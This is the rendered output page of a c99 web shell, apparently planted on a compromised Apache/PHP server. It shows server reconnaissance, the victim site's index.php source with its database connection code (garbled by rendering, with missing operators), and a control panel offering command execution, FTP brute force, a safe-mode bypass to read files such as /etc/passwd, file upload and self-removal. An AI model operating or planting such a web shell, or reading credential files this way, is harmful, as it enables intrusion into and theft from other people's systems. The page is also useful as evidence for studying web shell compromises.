!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/info/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (2.11 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
require_once "infosys_global.php";
    
$TOOLS_PATH $GLOBALS["_SYSDIR_PATH"][8] . "tools/";
    
$TOOLS_URL $GLOBALS["_INFOADDIN_URL"] . "tools/";
    
$WORKING_PATH $GLOBALS["_SYSDIR_PATH"][8] . "announce/";
    
$IMGTYPE = array(=> "???"=> "gif"=> "jpg"=> "png"=> "swf",
                     
=> "psd"=> "bmp"=> "tiff"=> "tiff"=> "jpc",
                     
10 => "jp2"11 => "jpx"12 => "jb2"13 => "swc"14 => "iff",
                     
15 => "wbmp"16 => "xbm");

    
$errmsg "<br><br>\n";
    
$errmsg .= "<table align=\"center\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"red\">";
    
$errmsg .= "<tr bgcolor=\"#ff9999\"><th align=\"left\">%s</th></tr>";
    
$errmsg .= "<tr bgcolor=\"#ffffff\"><td style=\"padding: 15px 20px 15px 20px\"><span>%s</span></td></tr>";
    
$errmsg .= "</table>\n";
    
$mysql_port "3306";
    
$link mysql_connect($GLOBALS["DBHOST"] . ":" $mysql_port$GLOBALS["DBUSER_INFOAI"], $GLOBALS["DBPASS_INFOAI"]);
    if (
$link) {
        
$db $GLOBALS["DBNAME_INFOAI"];
        
mysql_query("set names 'tis620'");
        
mysql_select_db($dbname);
        if (!
mysql_select_db($db$link)) {
            echo 
sprintf($errmsg"แจ้งการดำเนินการ"mysql_errno($link) . ": " mysql_error($link));
        }
        
$currdate date("Y-m-d");
    } else {
    
        echo 
sprintf($errmsg"แจ้งการดำเนินการ""ติดต่อฐานข้อมูลไม่ได้หรือชื่อฐานข้อมูลไม่มีในระบบ");
    }
    if (
$link)
        
mysql_close($link);

    function &
bind_content ($pairs, &$content)
    {
        
$patterns = array();
        
$replace = array();
        
$i 0;
        if (
$pairs != NULL && $content != NULL) {
            foreach (
$pairs as $key => $value) {
                
$patterns[$i] = "/(\s*?){($key)}(\s*?)/";
                
$replace[$i++] = "\${1}$value\${3}";
            }
            
$content preg_replace($patterns$replace$content);
        }
        return 
$content;
    }

    function 
read_template ($path_name)
    {
        
$text "";
        if (
is_file($path_name))
            
$text implode("", @file($path_name));
        return 
$text;
    }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0123 ]--